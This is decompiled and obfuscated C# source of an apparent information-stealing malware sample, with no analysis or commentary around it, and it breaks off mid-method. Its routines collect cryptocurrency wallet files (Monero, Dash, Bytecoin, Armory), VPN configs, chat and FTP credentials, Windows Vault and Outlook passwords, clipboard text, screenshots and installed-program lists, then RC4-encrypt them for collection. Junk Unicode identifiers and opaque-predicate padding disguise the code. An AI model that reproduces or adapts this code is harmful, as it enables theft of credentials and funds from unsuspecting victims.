// Token: 0x0600015B RID: 347 RVA: 0x0000D930 File Offset: 0x0000BB30
public static void tmethod_152(string str_0)
{
try
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("monero-project").OpenSubKey("monero-core"))
{
try
{
string text = registryKey.GetValue("wallet_path").ToString().Replace("/", "\\");
File.Copy(text, str_0 + Class_55.field_1 + text.Split(new char[]
{
'\\'
})[text.Split(new char[]
{
'\\'
}).Length - 1]);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_55.field_1 + text.Split(new char[]
{
'\\'
})[text.Split(new char[]
{
'\\'
}).Length - 1], Class_47.RC4(File.ReadAllBytes(text)));
Class_55.field_0++;
Class_54.field_0++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x0600003F RID: 63 RVA: 0x00003BAC File Offset: 0x00001DAC
public static void xmethod_31(string str_0)
{
try
{
string text = Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\ProtonVPN";
if (Directory.Exists(text))
{
string[] directories = Directory.GetDirectories(text ?? "");
Directory.CreateDirectory(str_0 + "\\Vpn\\ProtonVPN\\");
foreach (string text2 in directories)
{
if (text2.StartsWith(text + "\\ProtonVPN\\ProtonVPN.exe"))
{
string name = new DirectoryInfo(text2).Name;
string[] directories2 = Directory.GetDirectories(text2);
Directory.CreateDirectory(string.Concat(new string[]
{
str_0,
"\\Vpn\\ProtonVPN\\",
name,
"\\",
new DirectoryInfo(directories2[0]).Name
}));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(string.Concat(new string[]
{
str_0,
"\\Vpn\\ProtonVPN\\",
name,
"\\",
new DirectoryInfo(directories2[0]).Name,
"\\user.config"
}), Class_47.RC4(File.ReadAllBytes(directories2[0] + "\\user.config")));
Class_10.field_0++;
}
}
}
}
catch
{
}
}
// Token: 0x0600000F RID: 15 RVA: 0x000024B4 File Offset: 0x000006B4
public static void gmethod_3(string str_0)
{
try
{
if (Directory.Exists(Class_4.field_1))
{
string[] files = Directory.GetFiles(Class_4.field_1);
int num2;
int num = num2 = -4;
if (1535033085 == 1535033085)
{
num2 = num + 4;
}
int num3;
int num5;
for (int i = num2; i < files.Length; i = num3 + num5)
{
string path = files[i];
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_4.field_2 + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
num3 = i;
int num4 = num5 = -3;
if (1402976858 == 1402976858)
{
num5 = num4 + 4;
}
}
int num6 = Class_4.field_0;
int num8;
int num7 = num8 = -3;
if (1387334314 == 1387334314)
{
num8 = num7 + 4;
}
Class_4.field_0 = num6 + num8;
int num9 = Class_54.field_0;
int num11;
int num10 = num11 = -3;
if (359106911 == 359106911)
{
num11 = num10 + 4;
}
Class_54.field_0 = num9 + num11;
}
}
catch
{
}
}
// Token: 0x060002F3 RID: 755 RVA: 0x000162A0 File Offset: 0x000144A0
public static void cmethod_414(string str_0)
{
try
{
int width = Screen.PrimaryScreen.Bounds.Width;
int height = Screen.PrimaryScreen.Bounds.Height;
Bitmap bitmap = new Bitmap(width, height);
Graphics.FromImage(bitmap).CopyFromScreen(0, 0, 0, 0, bitmap.Size);
byte[] data = Class_114.vmethod_415(bitmap);
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\ScreenShot_" + Class_47.\u0367\u0309\u036F\u0320\u0340\u036A\u0332\u0020\u0317\u0020\u032C\u034F\u0020\u0E47\u033D\u0331tsitznjoxugionih\u033E\u035C\u0314\u035D\u0020\u0334\u0353\u0318\u035E\u0315\u035D\u036C\u030C\u0346\u0306\u0316tcqobbemddgicxmi + ".Jpeg", Class_47.RC4(data));
}
catch
{
}
}
// Token: 0x060001E8 RID: 488 RVA: 0x000107CC File Offset: 0x0000E9CC
public static void pmethod_239(string str_0)
{
try
{
if (Directory.Exists(Class_80.field_1))
{
foreach (string path in Directory.GetFiles(Class_80.field_1))
{
if (Path.GetExtension(path).Equals(".wallet"))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Bytecoin\\" + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
}
Class_80.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x060001CD RID: 461 RVA: 0x0000F6E8 File Offset: 0x0000D8E8
public static void kmethod_237(string str_0)
{
try
{
if (!Directory.Exists(Class_76.field_0))
{
return;
}
foreach (string path in Directory.GetFiles(Class_76.field_0))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Jabber\\Psi+\\" + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
Class_11.field_0++;
}
catch
{
}
try
{
if (Directory.Exists(Class_76.field_1))
{
foreach (string path2 in Directory.GetFiles(Class_76.field_1))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Jabber\\Psi\\" + Path.GetFileName(path2), Class_47.RC4(File.ReadAllBytes(path2)));
}
Class_11.field_0++;
}
}
catch
{
}
}
// Token: 0x0600004C RID: 76 RVA: 0x00004230 File Offset: 0x00002430
public static void dmethod_36(string str_0)
{
string text = "";
try
{
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
string[] subKeyNames = registryKey.GetSubKeyNames();
for (int i = 0; i < subKeyNames.Length; i++)
{
string text2 = registryKey.OpenSubKey(subKeyNames[i]).GetValue("DisplayName") as string;
if (text2 != null)
{
text = text + text2 + Environment.NewLine;
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Programs.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
// Token: 0x06000216 RID: 534 RVA: 0x00011718 File Offset: 0x0000F918
public static void dmethod_256(string str_0)
{
try
{
string path = Class_47.\u036C\u0329\u032F\u0020\u032F\u0312\u0020i\u036B\u034B\u0358\u033C\u0369\u035E\u035F\u035Adkcrbdpkfpkxmxzn\u0304l\u031D\u0339\u0331\u0366\u0346\u0344\u0348\u0317\u0332\u032E\u0363h\u0020\u0354latwzfwxbtsjdydt + "\\OpenVPN\\config\\conf\\";
if (Directory.Exists(path))
{
foreach (string path2 in Directory.GetFiles(path))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\VPN\\OpenVPN\\config\\conf\\" + Path.GetFileName(path2), Class_47.RC4(File.ReadAllBytes(path2)));
}
Class_91.field_0++;
}
}
catch
{
}
}
// Token: 0x060002EF RID: 751 RVA: 0x00015BD4 File Offset: 0x00013DD4
public static void tmethod_412(string str_0)
{
try
{
Version version = Environment.OSVersion.Version;
int major = version.Major;
int minor = version.Minor;
int num = 0;
IntPtr zero = IntPtr.Zero;
int num2 = Class_105.lmethod_378(0, ref num, ref zero);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vaults. Error (0x" + num2.ToString() + ")", Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr = zero;
Dictionary <Guid, string> dictionary = new Dictionary <Guid, string>
{
{
new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"),
"Windows Secure Note"
},
{
new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"),
"Windows Web Password Credential"
},
{
new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"),
"Windows Credential Picker Protector"
},
{
new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"),
"Web Credentials"
},
{
new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"),
"Windows Credentials"
},
{
new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"),
"Windows Domain Certificate Credential"
},
{
new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"),
"Windows Domain Password Credential"
},
{
new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"),
"Windows Extended Credential"
},
{
new Guid("00000000-0000-0000-0000-000000000000"),
null
}
};
for (int i = 0; i < num; i++)
{
object obj = Marshal.PtrToStructure(ptr, typeof(Guid));
Guid key = new Guid(obj.ToString());
ptr = (IntPtr)(ptr.ToInt64() + (long)Marshal.SizeOf(typeof(Guid)));
IntPtr zero2 = IntPtr.Zero;
string str = dictionary.ContainsKey(key) ? dictionary[key] : key.ToString();
num2 = Class_105.vmethod_375(ref key, 0U, ref zero2);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Unable to open the following vault: " + str + ". Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
int num3 = 0;
IntPtr zero3 = IntPtr.Zero;
num2 = Class_105.pmethod_379(zero2, 512, ref num3, ref zero3);
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("[ERROR] Unable to enumerate vault items from the following vault: " + str + ". Error 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
IntPtr ptr2 = zero3;
if (num3 > 0)
{
for (int j = 1; j <= num3; j++)
{
Type type = (major >= 6 && minor >= 2) ? typeof(Class_105.NClass_2) : typeof(Class_105.NClass_3);
object obj2 = Marshal.PtrToStructure(ptr2, type);
ptr2 = (IntPtr)(ptr2.ToInt64() + (long)Marshal.SizeOf(type));
IntPtr zero4 = IntPtr.Zero;
FieldInfo field = obj2.GetType().GetField("SchemaId");
Guid guid = new Guid(field.GetValue(obj2).ToString());
IntPtr intPtr = (IntPtr)obj2.GetType().GetField("pResourceElement").GetValue(obj2);
IntPtr intPtr2 = (IntPtr)obj2.GetType().GetField("pIdentityElement").GetValue(obj2);
ulong num4 = (ulong)obj2.GetType().GetField("LastModified").GetValue(obj2);
IntPtr intPtr3 = IntPtr.Zero;
if (major < 6 || minor < 2)
{
num2 = Class_105.xmethod_381(zero2, ref guid, intPtr, intPtr2, IntPtr.Zero, 0, ref zero4);
}
else
{
intPtr3 = (IntPtr)obj2.GetType().GetField("pPackageSid").GetValue(obj2);
num2 = Class_105.smethod_380(zero2, ref guid, intPtr, intPtr2, intPtr3, IntPtr.Zero, 0, ref zero4);
}
if (num2 != 0)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Error occured while retrieving vault item. Error: 0x" + num2.ToString(), Array.Empty <object>()) + Environment.NewLine;
}
object obj3 = Marshal.PtrToStructure(zero4, type);
object obj4 = Class_113.gmethod_413((IntPtr)obj3.GetType().GetField("pAuthenticatorElement").GetValue(obj3));
object obj5 = null;
if (intPtr3 != IntPtr.Zero)
{
obj5 = Class_113.gmethod_413(intPtr3);
}
if (obj4 != null)
{
object obj6 = Class_113.gmethod_413(intPtr);
if (obj6 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Url: {0}", obj6) + Environment.NewLine;
}
object obj7 = Class_113.gmethod_413(intPtr2);
if (obj7 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("Username: {0}", obj7) + Environment.NewLine;
}
if (obj5 != null)
{
Class_113.field_1 = Class_113.field_1 + string.Format("PacakgeSid: {0}", obj5) + Environment.NewLine;
}
Class_113.field_1 = Class_113.field_1 + string.Format("Password: {0}\n\n", obj4) + Environment.NewLine;
Class_113.field_0++;
}
}
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli + "\\Passwords_Edge.txt", Class_47.RC4(Encoding.UTF8.GetBytes(Class_113.field_1)));
Class_113.field_1 = "";
}
catch
{
}
}
// Token: 0x06000063 RID: 99 RVA: 0x00004AE0 File Offset: 0x00002CE0
public static void GetClipboard(string Av_Dir)
{
try
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Av_Dir + "\\Clipboard.txt", Class_47.RC4(Encoding.UTF8.GetBytes(string.Concat(new string[]
{
"[",
Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk,
"]\r\n\r\n",
Class_23.GetText(),
"\r\n\r\n"
}))));
Class_22.xmethod_51();
}
catch
{
}
}
// Token: 0x06000048 RID: 72 RVA: 0x00003E1C File Offset: 0x0000201C
public static void cmethod_34(string str_0, string str_1, string str_2 = "RecentServers", string str_3 = "Server")
{
try
{
if (File.Exists(str_0))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(str_0);
foreach (object obj in ((XmlElement)xmlDocument.GetElementsByTagName(str_2)[0]).GetElementsByTagName(str_3))
{
XmlElement xmlElement = (XmlElement)obj;
string innerText = xmlElement.GetElementsByTagName("Host")[0].InnerText;
string innerText2 = xmlElement.GetElementsByTagName("Port")[0].InnerText;
string innerText3 = xmlElement.GetElementsByTagName("User")[0].InnerText;
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(xmlElement.GetElementsByTagName("Pass")[0].InnerText));
if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3) || string.IsNullOrEmpty(@string))
{
break;
}
Class_13.field_1.AppendLine("Host: " + innerText);
Class_13.field_1.AppendLine("Port: " + innerText2);
Class_13.field_1.AppendLine("User: "******"Pass: "******"\r\n");
Class_13.field_0++;
}
if (Class_13.field_1.Length > 0)
{
try
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_1, Class_47.RC4(Encoding.UTF8.GetBytes(Class_13.field_1.ToString())));
Class_13.field_1 = null;
}
catch
{
}
}
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x06000221 RID: 545 RVA: 0x00011E00 File Offset: 0x00010000
public static void gmethod_263(string str_0)
{
try
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Dash").OpenSubKey("Dash-Qt"))
{
try
{
Dictionary <string, byte[]> u0347_u0020_u0328_u0020_u0369_u0E47h_u0364_u0358_u036D_u036B_u0324_u0322_u0E47_u031F_u0369qhgddlayjusqyuib_u0353c_u0347_u036Dr_u0020_u0E47_u0356_u0356_u0332_u036D_u0347_u0325_u030E_u0E47_u0356gugwsaxccacjclln = Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln;
string key = str_0 + "\\DashCore\\wallet.dat";
object value = registryKey.GetValue("strDataDir");
u0347_u0020_u0328_u0020_u0369_u0E47h_u0364_u0358_u036D_u036B_u0324_u0322_u0E47_u031F_u0369qhgddlayjusqyuib_u0353c_u0347_u036Dr_u0020_u0E47_u0356_u0356_u0332_u036D_u0347_u0325_u030E_u0E47_u0356gugwsaxccacjclln.Add(key, Class_47.RC4(File.ReadAllBytes(((value != null) ? value.ToString() : null) + "\\wallet.dat")));
Class_94.field_0++;
Class_54.field_0++;
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x060001C4 RID: 452 RVA: 0x0000F350 File Offset: 0x0000D550
public static void cmethod_234(string str_0)
{
try
{
if (Directory.Exists(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Armory\\"))
{
foreach (string path in Directory.GetFiles(Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\Armory\\"))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Wallets\\Armory\\" + Path.GetFileName(path), Class_47.RC4(File.ReadAllBytes(path)));
}
Class_73.field_0++;
Class_54.field_0++;
}
}
catch
{
}
}
// Token: 0x0600000D RID: 13 RVA: 0x000023A4 File Offset: 0x000005A4
public static void tmethod_2(string str_0)
{
try
{
string text = Class_47.\u030A\u0330\u0314\u0E47\u036D\u0020\u0331\u036B\u0310\u0341\u0353\u0333\u035F\u0368\u0333\u0369fscvyixozutspogr\u0316\u0020\u0E47\u0340\u0020\u0325\u035A\u0342\u032F\u0366\u0303\u036D\u0344\u0302\u0338\u032Cmiwjanndutheeold + "\\GHISLER\\";
FileInfo[] files = new DirectoryInfo(text).GetFiles();
int num2;
int num = num2 = -4;
if (718602305 == 718602305)
{
num2 = num + 4;
}
int num6;
int num8;
for (int i = num2; i < files.Length; i = num6 + num8)
{
if (files[i].Name.Contains("wcx_ftp.ini"))
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\FTP\\Total Commander\\wcx_ftp.ini", Class_47.RC4(File.ReadAllBytes(text + "wcx_ftp.ini")));
int num3 = Class_3.field_0;
int num5;
int num4 = num5 = -3;
if (1457542474 == 1457542474)
{
num5 = num4 + 4;
}
Class_3.field_0 = num3 + num5;
}
num6 = i;
int num7 = num8 = -3;
if (2044777900 == 2044777900)
{
num8 = num7 + 4;
}
}
}
catch
{
}
}
// Token: 0x060001C7 RID: 455 RVA: 0x0000F448 File Offset: 0x0000D648
public static void dmethod_236(string str_0, string str_1)
{
try
{
if (File.Exists(str_0))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(new XmlTextReader(str_0));
foreach (object obj in xmlDocument.DocumentElement.ChildNodes)
{
XmlNode xmlNode = (XmlNode)obj;
string innerText = xmlNode.ChildNodes[0].InnerText;
string innerText2 = xmlNode.ChildNodes[1].InnerText;
string innerText3 = xmlNode.ChildNodes[2].InnerText;
if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3))
{
break;
}
Class_74.field_3 = Class_74.field_3 + "Protocol: " + innerText + Environment.NewLine;
Class_74.field_3 = Class_74.field_3 + "Login: "******"Password: "******"\\Jabber\\Pidgin\\Pidgin.log", Class_47.RC4(Encoding.UTF8.GetBytes(Class_74.field_3)));
Class_74.field_3 = "";
}
catch
{
}
}
}
catch
{
}
}
// Token: 0x06000003 RID: 3 RVA: 0x0000205C File Offset: 0x0000025C
public static void xmethod_1(string str_0)
{
try
{
Encoding utf = Encoding.UTF8;
List <string> list = Class_84.\u030D\u0330\u033C\u0020\u031F\u031D\u0330\u031C\u030D\u0367\u034D\u034E\u0020\u0313\u0369\u0301gwiwfcicjnpkfscg\u035E\u0303\u0347\u0489\u0326\u033B\u033C\u0309\u0357\u0353\u0315\u032B\u030C\u0020\u0020\u036Fhgqzyevbtayubfox.Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_2)).Where(new Func <string, bool>(Class_2.NClass_0.field_0.nmethod_3)).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_4)).ToList <string>();
List <string> list2 = new List <string>();
list2.Add(Class_49.field_0);
HashSet <string> hashSet = new HashSet <string>();
foreach (string text in list2)
{
foreach (string item in text.Split(Array.Empty <char>()).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_5)).Where(new Func <string, bool>(Class_2.NClass_0.field_0.nmethod_6)).Select(new Func <string, string>(Class_2.NClass_0.field_0.nmethod_7)).ToList <string>())
{
if (!hashSet.Contains(item))
{
hashSet.Add(item);
}
}
}
string text2 = "";
foreach (string text3 in list)
{
using (HashSet <string> .Enumerator enumerator3 = hashSet.GetEnumerator())
{
while (enumerator3.MoveNext())
{
if (enumerator3.Current.Contains(text3) && !text2.Contains(text3))
{
text2 = text2 + text3 + Environment.NewLine;
}
}
}
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\DomainDetect.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text2)));
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf = text2;
text2 = "";
}
catch
{
}
}
// Token: 0x0600015E RID: 350 RVA: 0x0000DAA8 File Offset: 0x0000BCA8
public static void gmethod_153(string str_0)
{
string text = "";
string[] array = new string[]
{
"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676",
"Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676"
};
string[] strDizi_ = new string[]
{
"SMTP Email Address",
"SMTP Server",
"POP3 Server",
"POP3 User Name",
"SMTP User Name",
"NNTP Email Address",
"NNTP User Name",
"NNTP Server",
"IMAP Server",
"IMAP User Name",
"Email",
"HTTP User",
"HTTP Server URL",
"POP3 User",
"IMAP User",
"HTTPMail User Name",
"HTTPMail Server",
"SMTP User",
"POP3 Password2",
"IMAP Password2",
"NNTP Password2",
"HTTPMail Password2",
"SMTP Password2",
"POP3 Password",
"IMAP Password",
"NNTP Password",
"HTTPMail Password",
"SMTP Password"
};
foreach (string str_ in array)
{
text += Class_56.cmethod_154(str_, strDizi_);
}
try
{
if (text != "")
{
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + Class_56.field_0 + "\\Outlook.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text + "\r\n")));
}
}
catch
{
}
}
public static void GetChromium()
{
List <Class_65> list = null;
try
{
Class_49.dmethod_136(Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz);
list = Class_49.vmethod_135();
Class_49.dmethod_146(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk);
Class_49.cmethod_144(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
Class_49.lmethod_148(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp);
Class_49.kmethod_137(Class_47.\u0300\u035A\u0020\u0339\u0334\u0322\u0349\u0489\u0020\u0020\u0020\u0308\u0E47\u0332\u0314\u0020hvxeyxbeqqqeytcp\u033C\u0346\u0309\u0340\u033D\u0307\u0020\u035F\u0020\u032C\u0359\u0329\u0331\u0354\u034E\u0358cpmlnjibutstbbmq);
Class_49.lmethod_138(Class_47.\u0310\u0353\u0300\u0339\u0305i\u0489\u0364\u0020\u0359\u0E47\u031A\u0310\u033Ct\u0367wrectesdtcntxetu\u0334\u0362\u0345t\u032A\u0316\u0020\u036B\u0307\u0342\u0020\u0020\u0353\u033F\u032F\u032Fdcenxrkropmfcmbt);
Class_49.gmethod_143(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
Class_49.vmethod_145(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk);
}
catch
{
}
string text = "";
if (list != null)
{
foreach (Class_65 class_ in list)
{
foreach (Class_67 class_2 in class_.prop_4)
{
text = text + class_2.prop_3 + Environment.NewLine;
text = text + class_2.prop_0 + Environment.NewLine;
text = string.Concat(new string[]
{
text,
class_2.prop_1.ToString(),
"/",
class_2.prop_2.ToString(),
Environment.NewLine
});
text = text + "===============================" + Environment.NewLine;
}
}
}
if (text != "")
{
